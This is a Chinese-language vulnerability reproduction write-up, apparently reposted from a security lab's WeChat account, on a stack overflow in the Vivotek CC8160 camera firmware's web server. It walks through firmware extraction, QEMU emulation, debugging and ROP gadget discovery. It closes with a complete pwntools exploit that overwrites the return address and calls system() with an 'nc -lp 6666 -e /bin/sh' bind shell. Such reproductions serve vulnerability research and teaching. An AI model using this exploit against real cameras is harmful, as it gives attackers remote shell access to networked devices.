Vivotek CC8160 固件栈溢出漏洞复现分析

IoT 4个月前 admin
87 0 0

一、固件提取

http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip
binwalk -Me CC8160-VVTK-0113b.flash.pkg
路径_CC8160-VVTK-0113b.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root
Vivotek CC8160 固件栈溢出漏洞复现分析Vivotek CC8160 固件栈溢出漏洞复现分析
确定架构为ARM、小端、32位

二、官方揭露阅读

conkielength过长导致的栈溢出 在ida搜索一下Content-Length
Vivotek CC8160 固件栈溢出漏洞复现分析Vivotek CC8160 固件栈溢出漏洞复现分析
没有检查length的长度,全部赋值到dest这个栈上变量

三、环境搭建

sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
Vivotek CC8160 固件栈溢出漏洞复现分析
分析一下httpd文件吧 搜一下字符串
Vivotek CC8160 固件栈溢出漏洞复现分析Vivotek CC8160 固件栈溢出漏洞复现分析Vivotek CC8160 固件栈溢出漏洞复现分析
发现缺少条件,但是测试的我直接给他patch掉,就不用去搞这些配置文件了
Vivotek CC8160 固件栈溢出漏洞复现分析Vivotek CC8160 固件栈溢出漏洞复现分析
没有文件配置文件也可以跑,但是后面会用到文件中的内容,导致ddos
Vivotek CC8160 固件栈溢出漏洞复现分析
在文件系统里面搜索该配置文件,在./_31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/boa/boa.conf,把该/etc目录拷到../mnt/flash/目录下面,即可修复该问题。
Vivotek CC8160 固件栈溢出漏洞复现分析
跑起来了,跟着反馈继续跟进
Vivotek CC8160 固件栈溢出漏洞复现分析
gethostbyname():用域名或主机名获取IP地址。
Vivotek CC8160 固件栈溢出漏洞复现分析
cat /proc/sys/kernel/hostname
cat ./etc/hosts
127.0.0.1 Network-Camera localhost
debian-armel
需要把他们俩改为一致就可以跑了 笔者的用户名是ubuntu
 echo "192.168.100.2 debian-armel localhost" > squashfs-root/etc/hosts
Vivotek CC8160 固件栈溢出漏洞复现分析
qemu宿主机环境搭建
rm -rf vmlinuz-3.2.0-4-versatile
rm -rf initrd.img-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
wget https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
设置tap0网卡net.sh  笔者的理解是
Vivotek CC8160 固件栈溢出漏洞复现分析
sudo ip tuntap add mode tap name tap0
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE  #这里的网卡ens33要改成自己的噢
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
qemu宿主机启动脚本start.sh
sudo qemu-system-arm
-M versatilepb
-kernel vmlinuz-3.2.0-4-versatile
-initrd initrd.img-3.2.0-4-versatile
-hda debian_wheezy_armel_standard.qcow2
-append "root=/dev/sda1"
-net nic -net tap,ifname=tap0,script=no,downscript=no
-nographic
给qemu机器设置网卡ip
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
Vivotek CC8160 固件栈溢出漏洞复现分析
将文件传到宿主机
sudo scp -r squashfs-root/ [email protected]:/root
启动服务
chmod -R 777 squashfs-root/
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
启动之后我宿主机连不上去,很奇怪
Vivotek CC8160 固件栈溢出漏洞复现分析
发现是httpd文件被笔者patch错了 还需要对机器进行挂载和赋权操作
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chmod -R 777 squashfs-root/
chroot ./squashfs-root/ /bin/sh
./usr/sbin/httpd
Vivotek CC8160 固件栈溢出漏洞复现分析

四、验证poc






echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn"  | netcat -v 192.168.100.2 80
Vivotek CC8160 固件栈溢出漏洞复现分析
进行调试发现
./gdbserver.armel --attach 192.168.100.254:1234  2440
Vivotek CC8160 固件栈溢出漏洞复现分析
溢出量为0x33,开了nx保护 得到基地址
cat /proc/2386/maps
Vivotek CC8160 固件栈溢出漏洞复现分析

五、漏洞利用

rop链构造
lyyy@ubuntu:~/Desktop/vr/squashfs-root$ ROPgadget --binary ./lib/libc.so.0 --only "pop|ret"
Gadgets information
============================================================
0x00046428 : pop {fp, pc}
0x00033100 : pop {r0, pc}
0x00048784 : pop {r1, pc}
0x0000b490 : pop {r3, pc}
0x0000d71c : pop {r3, r4, r5, pc}
0x0000a46c : pop {r3, r4, r5, r6, r7, pc}
0x0000cf14 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x0002cf58 : pop {r3, r4, r5, r6, r7, r8, sb, pc} ; pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x000174c8 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000b7c0 : pop {r3, r4, r7, pc}
0x0000ae00 : pop {r4, pc}
0x0000ddf0 : pop {r4, pc} ; pop {r4, pc}
0x0000abb8 : pop {r4, r5, pc}
0x0000a83c : pop {r4, r5, r6, pc}
0x0000aa64 : pop {r4, r5, r6, r7, pc}
0x0000b364 : pop {r4, r5, r6, r7, r8, pc}
0x0000a700 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000db64 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0000d110 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0000a97c : pop {r4, r5, r7, pc}
0x00042540 : pop {r4, r6, r7, pc}
0x0000b6e0 : pop {r4, r7, pc}
0x0000d320 : pop {r4, r7, pc} ; pop {r4, r7, pc}
0x0000a4ac : pop {r7, pc}

Unique gadgets found: 24
pop {r1,pc};==pop r1;ret
mov r0,r1;
tips1 :为什么不用,
0x00033100   pop  r0   gadeget地址带有/x00,漏洞使用strncmp,所以会有/x00截断
Vivotek CC8160 固件栈溢出漏洞复现分析
完整poc
from pwn import*
import requests
p=remote('192.168.100.2',80)

libc=ELF('./lib/libc.so.0')
context.log_level='debug'
libc_base=0xb6f2d000
pop_r1=0x00048784+libc_base
mov_r0_r1=0x00016aa4+libc_base
system=libc_base+libc.sym['system']
stack = 0xbeffeb64#反弹shell语句的地方
amd='aaaaaa'
head = b"POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:"
payload = b'b'*(0x00003c-8)+p32(pop_r1)+p32(stack)+p32(mov_r0_r1)+b'b'*8+p32(system)
end = b'nc  -lp 6666 -e /bin/sh;'+b'rnrn'

p.sendline(head+payload+end)
Vivotek CC8160 固件栈溢出漏洞复现分析
把shell反弹到6666端口,nc上就是一个shell了

原文始发于微信公众号(山石网科安全技术研究院):Vivotek CC8160 固件栈溢出漏洞复现分析

版权声明:admin 发表于 2024年6月24日 上午11:34。
转载请注明:Vivotek CC8160 固件栈溢出漏洞复现分析 | CTF导航

相关文章